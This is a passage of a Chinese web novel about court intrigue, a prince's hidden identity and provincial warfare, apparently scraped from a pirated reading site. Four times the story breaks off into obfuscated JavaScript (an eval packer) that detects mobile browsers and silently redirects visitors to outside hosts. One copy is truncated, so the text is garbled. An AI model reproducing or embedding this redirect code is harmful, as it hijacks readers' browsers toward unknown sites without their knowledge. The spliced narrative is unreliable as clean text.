“心意我们秦府领了,但您也知道,我们家女公子并未答应您的邀约,对吧?” 言尽于此。 李隽还想说些什么,却被段姝焉按住了手腕,直到侍从离去,她才问:“姐姐,他这话是什么意思?” 不等段姝焉搭话,突然一道耳熟的声音从巷尾传来:“驾!” 像一阵风。 赫然黑马冲出街角,那人头发束起,一身骑装,身姿修长而矫健,呼啸而过,直冲相国府后手勒缰绳,只听马啸嘶鸣后,利落地翻身下马。 自她身后,两匹骏马姗姗来迟,正是秦赜和葛辞恙。 “你这是让驴撵了还是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13519229|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,骑那么快当心摔!”葛辞恙喊道,“而且......” 说着说着,葛辞恙余光扫到李隽的那一刻,瞳孔一震,脱口而出:“见了鬼了,你怎么在这!” 显然是真的吃惊,声音七扭八扭的拐着弯就扬上去了,秦祉和秦赜两个人一时全被吸引了过去,然后同时倒吸一口凉气。 秦祉一把扶住了秦赜的胳膊:“等会儿,我有点头晕。” 秦赜一本正经:“别晕。” “我......” 李隽一句话还未出口,秦祉三步并做两步的抓住了她的手,但目光却是冲着段姝焉去的:“你们二人今日来相国府一事可有第三人知道?” 段姝焉一愣:“倒也没有谁......” “若有,想要保全段家,就都处理干净。”她声音十分冷,和昨日西郊笑意盈盈的模样全然不同,“回去看着你哥。” 段姝焉心下一惊:“什么?” “阮义动手了。” 阮义动手了。 尽管有相国公和廷尉二人联手去保,可李苑仍难逃一死,葛辞恙得了风声便寻秦祉,终究还是晚了一步,只见到了李苑的尸首,至此,天子的臂膀再断一只,而李家的其他人,因侥幸存活,被秦祉安置在都邑城内的一处偏院。 只是谁也不曾想,短短几日而已,事态竟瞬息万变。 …… 数日后。 偏院有一人登门拜访,李隽惊恐地从门缝看去,外面披着斗篷的正是段姝焉。 “姐姐,眼下这个时候你怎么敢还与我们李家有交集?”李隽满目赤红,珠泪涟涟。 段姝焉眉宇尽是愁容,只道:“我替人传你一句话。” “是...她吗?”李隽试探出声,“她如何不亲自来见我,当日相国与廷尉之恩,我没齿难忘,我也希望替李家报答你们的恩情。” 良久的沉默后,段姝焉才说:“相国府昨夜遭到刺客,纵火灭门。” “你说…什么?” 李隽只一瞬,便如觉冰窖,周身冷意侵入骨髓。 相国府被灭门? 这是段姝焉刚刚说出口的话,但她却好似听不懂了。 “为什么,相国公是陛下最信任之人,为什么会这样…” “或许正是因为陛下信任。”段姝焉道。 “是因为我父亲吗?” 段姝焉看着她,没说话。 “是吗?”李隽猝然笑了一下,抬手遮盖住双眸,擦干泪说,“她要你传的是什么话,但说无妨,我定会替她去办。” “不。”段姝焉缓缓说道,“此事艰难险阻,因而无论如何抉择,她都尊重你,所以要你自己千万考虑清楚。” 段姝焉将手摊开:“如若想复仇,今日戌时一刻,将此物搁置阮义府邸粮仓点燃,如若想活命,如今都邑不能再待下去,即刻带着家眷前往梌州晋赭,届时也自有人会接应你们李家。” 在她意图接下前,段姝焉语气加重的再次说道:“她说,一旦你选第一种,并非九死一生,或可生不如死……” 李隽清瘦的手接过那物,连带着呼吸微微急促起来。 她说:“万死不辞。” ---- 赤日顺山头落下,残阳似火,这一番议事终于接近尾声,司昀从门外伸出个脑袋,嬉皮笑脸道: “阁主,外面那两人站半天了,再待下去钟怀就要上演一出原地逝世了。” “真的不来拯救他一下吗?” 89. 蜀州 “是雒溪和他母亲吧。”贾文勰道,“主公可有何打算?” 秦祉盘算片刻:“叫他们进来。” 钟怀大摇大摆地跟在身后,一想自己费那么大功夫套出来的话都打了水漂,连带着瞧着秦祉的眼神都颇为幽怨,只可惜秦祉视线一移,全当看不见。 书房宽敞明亮,两侧窗棂极具美感,光影投在竹席之上,香炉紫烟缥缈缭绕,主位之上晋赭王单手撑着下颚,颇有几分意味阑珊。 他们二人甚少有这样的机会,不,准确的说,是从未有过,以他们的身份哪里有资格出现在这种场合之上。 两侧木案前道道华美的身影,举手投足皆是贵气,不可高攀,一时间妇人竟不知该如何做,只倏地腿一软,跪伏在地,抖着声音说:“草、草民见过殿下......” “起来吧。”秦祉颔首道,“本王有话要问你们。” “谢殿下......”妇人垂眸应着,“殿下派人出手相救我们母子性命,我们便全听凭殿下的。” “那就随便聊聊?”秦祉歪着脑袋,视线一顿,旋即,“你们还坐在这里干什么,都出去出去。” 一挥手,将在场所有人往外赶。 “无情啊阁主,这不是用完就扔吗?”韩晟双手撑着木案起身,“好歹陪着一起聊聊,咱们也多久没有促膝长谈了。” “你近日很闲?” 韩晟一哽:“忙得很!” 下一刻这群人脚步一个比一个快,还险些绊着,没摔一起去:“听说咱们这个休沐日好像要到了……” “是吧,我也是这么听说的,我看索性择日不如撞日,就明天休吧!” 虞仓寅走在最末,颇为风度的颔首,将门掩上了,不过数秒,偌大的书房内便只剩下了四人而已。 屋内空荡下来,雒溪和妇人终于没有那么紧张了。 “坐吧,一直站着算怎么回事。”贾文勰温和道,“不知该如何称呼?” 妇人瑟缩地看着他,回:“草民姓雒。” “你不必紧张,主公既然救了你,便断然不会同林氏的人一般,好歹你也是梌州人,怎会不知主公的名声?” “虽然殿下名声极好,但、但......” 但? 秦祉微微眯眸:“你有什么但说无妨。” “但林长老曾私下说过您......额......”雒夫人踌躇半响,忍不住握紧了雒溪的手,“说过您......” “到底说了什么?” 她眼一闭,咬牙道:“喜好......” “停。”秦祉果断打断,“好了不用再说了,本王明白了。” “哈。”贾文勰忍了,没忍住,然后收到了来自秦祉的眼刀,他正色道,“传闻岂可当真?殿下若是如此好色之人,断不会有这么多追随者了。” 雒夫人:“?” 贾文勰一顿,用词不当,听着跟一语双关似的,更奇怪了啊…… 毕竟雒夫人说不了几句,这雒凡也只是一普通的妇人而已,本意是随便聊聊,等他们二人放松下来再伺机瓦解套话,结果也不知是林全甄有毛病还是怎么的,私下里跟谁说这些乱七八糟的东西去了。 雒夫人是母亲,尤其是自己儿子长的那样出众,在林府就没少因为这个被人欺负,晋赭王看似人模人样,但传闻在那摆着,叫她如何不担心雒溪以后的处境。 所以即使害怕,即使可能会得罪贵人,她仍然开了这口:“那促膝长谈是……?” 良久,秦祉缓缓扯起一抹微笑:“……” 韩晟你死吧你! 贾文勰笑意一敛,当即吓得雒凡没了打探的意思,只见他抬手端起茶杯小啜一口,慢条斯理地步入了正题:“既然你们没了闲聊的打算,那不如谈谈别的。” “就说眼前,梌州各郡官盐,究竟去了哪里。” 雒溪猛地一抬头,对上秦祉的目光,瞳孔微微一缩:“唔......在、林氏。” 他会说话,但说的艰难,源于一场大病,因为医治耽搁了不少时日,等痊愈时就受到了不少影响,只是林氏的人见了反而觉得不说话更好,长此以往,雒溪便甚少开口了。 “倒、卖。” 倒卖? 秦祉同贾文勰对视一眼,后者当即了然笑道:“他倒是会做生意,各地官盐缺失,如今又是冬季,这样一来林氏这段时间不少挣啊。” “既然不少挣的话,那也得稍微出点力啊。”秦祉意味深长。 出力的方式论谁都没想到,这林百毓刚坐上家主的位置不出一月而已,如今人就坐进了晋赭的马车。 一身缨帛赤锦袍都架不住他脸色发黑,神色极为不悦,他长臂随手一搭,幽幽地盯着身侧的小亲王:“这事和我有什么关系?” 秦祉缓缓睁眼,恹恹看去:“你不是想要朝北打吗?这不是遂了你的意。” “那他又是怎么回事?”林百毓抬手一指,尽头的雒溪一缩,抿唇不吱声。 “本王手下的人你不熟悉,便特意挑了你认识的人陪着。”秦祉笑眯眯道,“善解人意啊林太守,上哪里遇见这样的人去。” …… 彼时正值燕安二十五年,樵阳太守周令起兵,向襄州进军,司空徐行表周和为都护将军,书信各州一同支援。 至于为什么带的人是林百毓嘛…… 出发前,朔昭阁内。 “什么人都不带?”韩晟第一个蹙眉,“万一…咳…怎么办啊?” 秦祉懒洋洋地斜靠着凭肘几:“不然呢,我看起来很喜欢乐于助人么,真当去打仗的?” “阁主。”崔颉妙身形一动。 “你不行。”秦祉伸手一拦,“万一和徐生碰上,看见你就想起了庐野的粮草,别再气的不管周和,先打上我们了。” “这也不行,那也不行,难不成真就一个人去了?” 贾文勰问:“主公可是有别的打算?” 秦祉颔首道:“林百毓。” “带他干什么?”司昀诧异,“这人靠得住吗?” “人家好歹是中原十姓,比得了吗。”秦祉笑笑,抬手一指,“你也去。” 司昀缓缓偏头:“……我?” 中原十姓之间彼此牵连,联姻那是常事,各家关系多为密切,这也是百年屹立不倒的原因之一,更匡论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13533478|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林百毓曾入朝为官,与其他几家更为熟稔。 至于司昀......保险起见嘛,毕竟他哥司缇跟着周令做事的,也算是个人脉。 一晃就是一月,三人无声无息地潜入域陵界内。 “有点眼熟啊。”司昀扯开帷幔朝着马车外看去,而后警惕地坐了回去,“咱这么出现在域陵,应当是没什么问题的吗?” 林百毓察觉到一丝不妙:“什么意思?” 司昀故作深沉的一支下颚:“这个事吧,说来话长......” “那就长话短说。” “短说不了。” 林百毓漆黑的眼睛仿佛要杀人:“......” “总而言之呢,还得靠你帮帮忙,咱们殿下和域陵陈氏吧,有点渊源。” 后知后觉,林百毓似乎想起了什么:“陈氏的女公子叫陈岁?” “哎呀!”司昀大喜,“你竟然知道?” 林百毓面色极为冷淡,嗤笑一声:“挺有意思,叫陈氏同你们殿下好好叙旧才是,保不准这仗都能延误。” 这么一想,此人得罪下来的当真还不在少数,自己却莫名其妙地被拉扯来一路同行,美其名曰为梌州都是一条绳上的蚂蚱,林百毓视线一扫,看着秦祉闭眼小憩的脸庞,气不打一处来,抬手便将身旁织布凭肘扔了过去。 莫名被砸醒的秦祉:“?” 目瞪口呆的司昀:“殿下,他……” “马车震了,这怎么凭肘都飞出去了。”林百毓装模做样的捡了回来,抬手拍拍秦祉,阴柔关心道,“好孩子不关你事,继续睡吧。” 域陵陈氏非陈为做主,整个家族持截然相反的两种态度,陈氏家主同嫡子陈为为首,是要同周令合作的,至于另一边,则是几位长老不认同此事,声称此番做法势必会引来杀身之祸。 “我以为你不会插手这件事。”陈徽将随身宝剑搁置在一侧,趺坐而下,半点寒暄都没有的直奔主题。 “原本是不打算掺和的。”秦祉挑着菜吃了几口,“但这不是林太守顾念同僚旧情,想着不能对此坐视不理嘛。” “听说了。”陈徽抬眼看去,“如今太守继任家主之位,恭喜。” 林百毓反正是说不出谢谢,他神色寡淡地举杯示意,没有开口。 “楚旻是什么态度?” 陈徽警惕地瞥了一眼林百毓,低声道:“这事儿一时难说,他人前几日在乌黔,听说陈氏集兵之后,动身朝北去了幡趾寻百里老师的庇护,你如今去,兴许碰得上。” 百里老师,名为百里政,曾是都邑学宫的师者,如今任幡趾太守。 但是…… 楚旻如何要离开乌黔? 那是他的地盘,堂堂蜀州牧,势力皆在于此,如何冒然离开…… 除非,秦祉心下一沉:“陈氏要杀他?” 语毕,食案前四人同时停手,纷纷抬头,八道视线一同看了过来。 司昀和雒溪只是出于好奇,而林百毓心思则更为深沉,让人察觉不出他的想法。 唯有陈徽冰凉的视线落到秦祉身上,未几缓缓开口:“殿下……” “别说那么直白。” 90. 再遇 “他的话你信?”陈徽走后,林百毓眼尾微勾,怀疑地睨着秦祉,“当年陈岁那事,陈徽从域陵追了你八百里,这回怎么又同他能合作了?” 自当是乌集之交了。 “谁知道呢。”秦祉弯唇,“不过……你和陈为的关系,听说还不错?” “同窗旧友而已,你要做什么?” “玄开叔叔。” 林百毓眼皮一跳。 “乌黔需要你。”秦祉一本正经道,“至少拖半个月,不能让陈为出兵。” 林百毓眼皮一翻,凉薄反问:“我凭什么?” “论公,陈为一旦同周令拿下襄州,下一步就是南攻,而如今梌州各郡心不齐,东西两州加一起就是一盘散沙,对谁都是不利;于私嘛,统阳林氏想要北扩,陈氏是你最大的威胁。” “到底陈氏是我的威胁,还是你的?” “哎,有什么区别。”秦祉摆手糊弄道,“都一样,都是一样的。” …… “他孤身一人去乌黔,真不会有事吗?”司昀趴在车窗朝外探头,外面景象飞速后退,逐渐显现出一整个城池的样貌来,“而且林百毓他真的靠得住吗?” 秦祉翻阅着竹简,其上记载着蜀州如今的局势:“他又不是傻的,亲卫一直跟着马车呢,至于靠不靠得住,就得看究竟是同窗旧友的关系深,还是他争权夺利的心思狠了。” “那我们现在是去幡趾见楚旻?” “不,去襄州。” 雒溪闻言微微动了动。 “你想说什么?” 雒溪一惊,对视秦祉的双眸后下意识摇头,而后又试探着小心翼翼地开口:“为、什么?” 秦祉循循善诱:“你指什么?” 雒溪眨了眨眼,慢吞吞地说:“为什么、去襄州?” 自雒溪到朔昭阁足有两月,基本上每天都能目睹鸡飞狗跳,除了王府礼官在能安分一些,更准确点应该说,是被礼官抓住了一顿训,被迫安静了,但人一转身,还不等走呢,下一秒旁边的鬼脸就冒了出来。 这种充满着人气的生活,让雒溪前所未有的好奇,好奇引领着这样一群人的朔昭阁阁主,晋赭王殿下究竟是个怎样的人。 因为甚少说话的缘故,雒溪的观察力要比旁人更为通透,但晋赭王这个人,他却觉得看不透,王府内的人好像都敬他,却也敢同他玩笑,看似平易近人,有时也高不可攀,但唯一明白的是,贾太守的有一句话很真,那就是晋赭王与林府的人,是不一样的。 至少他现在敢试探着开口,去问那个自己想不明白的问题了。 “你以为呢?”秦祉含笑将目光递给司昀,后者缓缓转头:“......又我?” “去幡趾做什么呢?连同楚旻和百里政一起出兵?”他沉思半天,“若是楚旻有意,就不可能从乌黔逃到幡趾,如今这个局面,不是我们去就能好用的,第二则是时间,绕去幡趾的时间少说也得耽误半个月,半月一过,陈氏一拦,我们便是想进襄州都进不去了。” 雒溪恍然地点头,结果耳边幽幽传来一句带着笑意的声音:“第三,咱们也有熟人在襄州呢。” ---- 熟人,的确是够熟,熟的这人看见秦祉的那一刻,都被气笑了,拉着人就扯进了屋,咬牙切齿:“你为什么会出现在这?!” 雒溪探个脑袋想要去护着秦祉,被司昀一把拉了回去:“你要干什么?” “殿下他......” 司昀按着他的脑袋往外走,语重心长道:“人家什么关系,做不出伤害殿下的事啦,放宽心。” 雒溪歪头:“是……?” “嘘。”司昀眸光一暗,“好奇心不要这么重。” 面前这人郁金外袍懒散地披在肩头,满头乌发上带银冠,眉眼下藏着不明的情绪,高大的身姿遮盖住身后光亮,投下一片阴影:“你那边的战事解决了?来这凑什么热闹。” “你看起来不太欢迎我。”秦祉将手腕从他手中抽离,转身扑到了榻上,两只脚搭在外面荡着,长叹一口气,“赶了快两个月的行程,累啊。” “眼下局势乱,听说沧州之战结束后,柏萧鹤着手准备夺得七郡一百一十县,梌州六郡尚有异心,你不守着你的晋赭,到底是怎么想的,嗯?说说看。” “麻烦你注意一下。”秦祉将他的手拍开,“你呢如今是在周和手下做事的,周和和我又最不对付,我们属于敌对阵营,少来趁机打听情报。” “敌对势力还跑我这来做什么?”他说,“别闹了,跟哥通个气,你到底来做什么的?” “杀人。”秦祉两只手撑着被褥,上身支起看着对方,“顺便来看看梌州接下来的路该怎么走。” “哦对了,葛奉安让我给你带句话,说是别把兄弟给忘了,事成之后记得去梌州找他。”她跳下木榻,摆了摆手,“气通完了,我还有事先走了。” “去哪?”秦赜问。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13546208|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦祉竖起一根手指,笑说:“去刺激刺激某个人。” 自阮义身亡已过近两年时间,各州纷争,格局重新变化,周令率兵自樵阳出发,沿路向西南,数月时间破古安郡十城,所经之处哀鸿遍野,惨不忍睹。 周和所在的会苍郡为此严阵以待,满城闻风鹤立,鸡犬不宁。 “报——将军,周令率兵马又夺下一县!” “报——将军,域陵陈为已在乌黔驻兵!” “报——” 那人深吸一口气,不悦道:“又怎么了?” 士兵犹豫一下,说:“呃,那个将军,梌州晋赭王到访,正在院外等候。” 男人握着玉杆毛笔的手一顿,凌厉的眼眸一扬:“谁?” “晋赭王,楚霁。” 他垂眸看着竹简思忖片刻,然后笔一搁,扯过挂着的玄青金丝大氅,大步迈出:“叫人请他去会客室,说我即刻就到。” “殿下,这边请。”小厮躬身垂眸,一副小心翼翼地模样,但却偷摸地用余光打量着这位小亲王,传言这人也算个文武双全的风流人物,如今见了倒也名不虚传。 这视线藏得不深,秦祉便全当看不见,只问:“你们家将军呢?” 小厮连忙回道:“将军即刻就来,殿下,请。” 木案上置满了新鲜水果,像是从地窖里拎出来的,上面挂着水珠,冰冰凉凉。 到底周和不知晓楚霁的身份,若是让他知道了这人就是秦祉,估摸着也未必会来的这么快,晾她几个时辰都有可能。 许久不见,周和与儿时倒也有些差别,那股子飞扬跋扈地劲藏进了骨子里,取而代之的是更为沉稳冷硬的气质,和一张浓眉俊目的脸。 秦祉拾起一小块甜瓜,眼下虽是冬季,但新鲜的水果并非全然吃不到,只寻了温泉流经的山谷去种,稍费些时日倒也就成了,只这一盘便足以看出周和骨子里透出的五世三公的作风来:“都护将军,久仰。” 周和才迈进一步,看见秦祉面容的瞬间猛地一停,两条眉目蹙到一起:“你?” 他三步并做两步地站在秦祉面前,居高临下的打量:“你是谁?” 秦祉坦然地直视他压迫的目光,报之一笑。 只见他看了又看,缓缓逼问道:“你不是应该已经死了吗?” “我……” “还晋赭王?” 视线自上而下的扫过,浮现出狐疑的神情:“……男人女人?” 91. 局势 周和知道秦祉的长相,或者更准确的是,他知道少年秦祉的模样,尽管只有一面之缘,也足以让他记忆深刻。 而此时,眼前这个晋赭王,分明长了一张与那秦祉无比相似的容貌,只是相比之下英气更甚,但没人听说过晋赭王有什么姐姐妹妹的,算算年龄的话...... 楚霁就是秦祉的可能反而更大。 “这很重要吗?”秦祉面容不变,泰然自若地反问。 周和冷锐的视线落在秦祉身上,良久嗤笑一声:“当然重要,你若是晋赭王,我便要防你,你若是秦祉......我就会杀你。” 秦祉挑眉讥讽:“哎呦,这可怎么是好,襄州如今都丢了十城了,你还有闲工夫在这里大放厥词呢?” “你!”这话够戳人痛处,周和气及反笑,“你果然是她。” “本王没有心情陪你在这玩什么猜人游戏。”秦祉正色道,“如今周令即将攻下古安,会苍这边你可有什么对策?” “嘶......你哥如今在我这做事,你可知道?”周和缓缓道,“当初都邑亲手杀死阮义的时候,你没和你哥见面吗?怎么他不跟你,反倒愿意跟着我了?” 这话听着像是疑问,但仔细想去,这人分明是在挑拨离间,秦府灭门一事归根到底也是与他们燕室有关,周和话里话外无非就一个意思,秦賾与她生出间隙了。 秦祉冷笑勾唇:“那谁知道呢......哎,你哥如今攻打襄州,你这做弟弟的怎么不和他交流一下兄弟情深?” “说不准,两个人见了,那点子亲情一上头,这仗就不打了呢?” “噌——” 刀光剑影瞬间发出铿锵争鸣声,周和拔剑抵向秦祉,司昀、雒溪二人同时亮出兵刃,一人挡开剑身,一人护在秦祉身前,不过眨眼之前,周和亲卫纷纷向前,双方拔刀相向,好似一触即发。 “看来,都护将军不想好生谈了。”数道剑光之间,秦祉言行淡雅从容,毫无惧色,反而为自己慢慢斟上一杯茶,小啜起来,看的周和怒意不减反增。 “这是在做什么?”一道温和的声音打破了剑拔弩张的氛围,“阿和,叫你的人收手。” 周和冷着脸僵了两秒,然后收剑下令:“都出去。” “抱歉,殿下,让您受惊了。”来人一身黛色木兰玉锦长衫,长发只一根木簪别住,五官并不明艳,也不夺目,但眉如新月、目若朗星,亦有幽静闲雅之风,“如今襄州战事吃紧,阿和一时心急,忘殿下不必介怀。” 秦祉看向来人,是她啊,周氏的女公子,阿和同胞姐姐,周邧。 秦祉垂眸一笑,有她在事情就会好谈的多:“女公子客气,请。” “请。”周邧颔首道。 “古安失守,只因长兄来势迅猛,没有善战守城的将士,一时难以抵抗,但会苍不会陷入此种境界,我们的粮草足以抵挡到明年春季,战线拉长,长兄自会因后方补给不足而选择退兵。” “但这只是西边一面。”秦祉说,“蜀州陈为自乌黔集结兵马,东西两端同时进攻的话,你们又如何?” 周邧一时无言,只听周和接道:“襄州皖南太守会派兵马前来相助。” 秦祉等了片刻,歪头:“没了?” 周和气的咬牙:“……” 但秦祉并没有故意讥讽他的意思,谈正事呢,哪里还犯得着刺激他,只是叙述一个事实带来的攻击往往要更为有力,而这也是襄州所面临问题的重中之重,那就是兵力不足。 如果仅仅抵挡周令一方,并无大碍,可陈为在另一端虎视眈眈,两方兵马联合之后,就显得周和有些心有余而力不足了。 “襄州一旦彻底攻破,翼、襄、蜀三州相连,杳浍二州的人便没有什么表示?周令届时向北一攻,不直接成北方霸主了。”秦祉摩挲着下颚,心道:这也未免太危险了。 “有传信过,但估计是还在观望局势,不敢轻易动兵。”周邧说道,“如今动身的便只有徐司空的人,据消息传是亲临,不得不让人担心,这人究竟是来帮忙,还是趁火打劫的。” “他啊...”秦祉笑道,“还需要养精蓄锐呢,眼下不会轻易出手了。” “看殿下的意思,可是有什么化解之法?” “陈为那边,有林百毓在,他们二人学宫时期乃同窗旧友,关系不错,大抵能拖延些时日,不至于两边一同进攻。” 周和闻言抬眼:“他俩当时关系不错有如何,如今各自立场不同,怎可帮忙?陈为又如何听得林百毓的话?” “我们当初关系不好,如今立场不同,本王不也来帮你了。” 周和冷笑一声,撇过头:“谁知道你安的是什么心?” “简直放肆!”司昀本就看不顺眼这人,听了此话当即呵斥,雒溪跟着有样学样,双眸好似恶狠狠地瞪着周和,前后不过几秒,去而复返地亲卫又一次拔刀,双方重新对峙起来。 场面复刻般的出现,一时过于荒谬,周邧沉默了闭上了眼,然后忍无可忍,暴起掀翻木案,一字一顿道:“闹够了没有。” 能现身的如此之快,便唯有一种可能,那就是这些人自始至终,都持刀等在廊下,静候时机。 周邧一怒,亲卫纷纷抱拳低头,眉目间多了几分尴尬之意,倒是司昀余光瞥着木案和满地杯盘碎片,不易察觉的退了一步,靠着秦祉低语:“她不会……一时激动,连着我们一起揍吧?” “不会...” “啪”一声,白瓷茶盏凌然飞落,顷刻间碎片满地。 司昀:“......”真的不会吗?他持怀疑态度。 秦祉也罕见地沉默了,她是亲王殿下,应该不至于吧? 周邧这人她只见过一面,了解不深,但在当年,是少数能够考入都邑学宫的女学子,都邑城内称之为“逸群之才”。 但如今看来……简直是文武双全嘛。 周邧温和一笑,颇为文雅地作揖:“抱歉,让殿下受惊了。” ……好一个收放自如啊。 “瞧,我们来的正巧,再晚些他们可就要打起来了。”那是一道相当熟悉的音色,不疾不徐地咬着字,显出几分魅惑之意,十分勾人,秦祉侧头望去,萸紫外衫长袍随意地披在肩头,一双眼笑意盈盈,见人看来反而轻挑眉毛,“…见过殿下。” 竟然是…… 兰干五大营的中郎将, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13607232|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花颖慈? 秦祉视线从此人脸上扫过,最终又落回周和,隐隐察觉到了点什么,这人自始自终都与周和有着千丝万缕的联系,所以当初相国府大火,花颖慈救下秦赜的原因,是因为周和的指使? ---- “周氏当初站队失利,不成想朱太后竟全然不敌阮义,如今都邑城内已是阮义做主,我的人行动不便,此事只能交由你去处理。”夜黑风高,烛火摇曳,影影绰绰间只见周和炯亮的双眸倒映着火光。 他面前,花颖慈饮酒笑道:“阮义要灭相国府,你只救秦賾,放任府内百人不管不顾,如何保证他会为你所用?” “卖个人情罢了。”周和举杯对饮,说,“何况日时不多,就在今夜,哪里救的过来。” “今夜?”花颖慈动作一顿:“消息可靠?” “谁知道,看你信不信得过张陏了。” …… 月影遍地,夜色融融。 三更天,巷陌深处幽然传来一慢两快碰撞敲击的声响。 “平安无事...”两名更夫身着布衣、手握锣梆,隐隐现身。 温凉参半的东风翩然携一股气味散向远方。 原本困意绕顶的更夫霎时间停住了脚步。 “怎么回事,怎么突然停下来了?” 更夫细细嗅探,狐疑道:“你可曾嗅到什么?” “像是……” 他眉头微蹙,朝着四周望去:“莫不是哪里走了水?” “这个时辰?”旁边的更夫也是一惊,连忙顺着风向赶了几步,登时差点腿一软,栽倒在地。 夜,遮云避月,举目皆黑。 但都邑城却火光接天。赤红星光似孔明灯冉冉升起,滚滚浓烟肆无忌惮淹没天边。 “是相国府!” “来人,相国府走水了!” 府内哀声四起,浓郁的血腥气扑面而来,两名更夫喊着话,急冲冲顺着偏廊破门而入,愣是被眼前尸横遍野的景象吓得浑身僵硬。 不等破喉而出的尖叫响起,被人一剑封喉。 “噗呲”一声,血溅三尺。 火势蔓延,相国府上下坠入一片火海,府外甚可忽略不计的水远抵不过这熊熊燃起的烈火。 府邸第三进院的偏宅,洁白的月光宛若染上血色,倾洒青苔石面,砖瓦墙壁上,黑衣人手握短刀俯身前行。 姑娘身着竹青祥云纹罗绮云裙,腕带绞丝银镯,左不过及笄之年,面上视死如归,步伐不稳冲入院落,朝着内院的长廊跑去,凌乱地脚步声在夜色中尤为明显。 黑衣人一脚踏于砖瓦,翻身而下,踩在鲜血汇聚而成的地面,霎时间衣摆污秽。 “后院可还有人,说出来饶你不死。” 姑娘被这兀然出现的身影一惊,扑到在地,周身寒意四起,竟止不住浑身战栗,她强忍着摇头。 月光描摹的五官赫然是秦祉的贴身侍女青皖,她一手握住腰间匕首,爬起身扬声故作呵斥,声音却带着颤:“简直无法无天,这是相国府,你算什么东西敢在这胡作非为?” 满身珠华傍身,浓笔描眉,黑衣人端详几许,霎时冷笑:“你是秦祉?” 92. 徐生之死 事态紧急,满府上下来不及反应,她家的女公子今夜恰巧接了天子的密信,不在府内,因此为了不被敌人知晓,为了保住秦祉的命,青皖便自作主张换上了秦祉的服饰,打算以秦家女公子的身份葬身于火海,为秦祉留下一线生机。 但身后是熊熊燃烧的烈火,身前是杀人不眨眼的死士,青皖怕的站都快要站不稳,拼命抑制住泪水和颤抖的声音,傲然屹立:“是谁派你来的?” “即便告诉你,你也得有命听才是。” “噌”一声,刀剑相接,散出浓重杀意,步步紧逼直指青皖喉处,青皖竭力挡夺,秀发散开,裙装划裂渗出点点血迹。 “传言中相国公嫡女文武双全,原来不过是以讹传讹,竟是个连一招都接不住的……”黑衣人侧身一转,一脚踏在墙面凌空跃起,刀锋重重落下,“废、物。” 刀刺入衣襟,赤红喷涌,青皖疼得冷汗一瞬间冒出,只可惜再怎么反抗,她毕竟只是跟着秦祉学得几招防身之术,面对死士根本毫无招架之力。 “去…死!”青皖强忍着匕首挥向那人,却赫然被握紧手腕,死士嗤笑一声,短刀劈掌要夺她性命,青皖下意识闭眼,直觉脸上一股温热,意料之中的死亡没有到来…… 她缓缓睁眼,只见面前那死士瞳孔漆黑散大,满是惊惧地直视着她,而后缓缓栽倒在地,在他之后,那人单手提剑,炽热的烈火间,容貌倾国绝艳,他略一蹙眉,轻“啧”一声,“溅到衣摆了,真是的……” “哎,瞧你眼熟,前几日西郊我们见过的,对吧?”花颖慈俯身就着那人尸身擦拭剑身,未几抬眼看向青皖,“穿成这样是……偷梁换柱?” 那是当日西郊与葛卫将军比兵法时的看客,兰干花中郎将! 他为何会出现在这! 青皖捂着伤口,鲜血不断往外涌出,顷刻间沾满手掌,脸色也跟着越发苍白:“你想、做什么……” 花颖慈漆黑的眸子下移,落在伤口处:“她不应该死在这,我自然是来救她一命。” “我不……” “这位淑女。”花颖慈轻描淡写地打断,“我想我有必要提醒你,若是我想杀她,没必要在这耽误时间。” “我真不知道,女公子今夜不在府内…”青皖支撑不住,跪倒在地,声音也逐渐断断续续,“你若想救她,就请中郎将、帮我,我死后、将我脸毁去……自当秦府嫡女秦祉……命丧黄泉……” 花颖慈三指搭上青皖脉搏,须臾开口:“你的伤势可未必会死。” 青皖用尽最后力气将手抽了回去:“但女公子必须死。” 因为青皖从来都不仅仅只是秦祉的贴身侍女,她更是自小便知道,自己终有一日会面临此等境遇,那就是以秦家女公子身份而死,换晋赭王世子楚霁重现都邑。 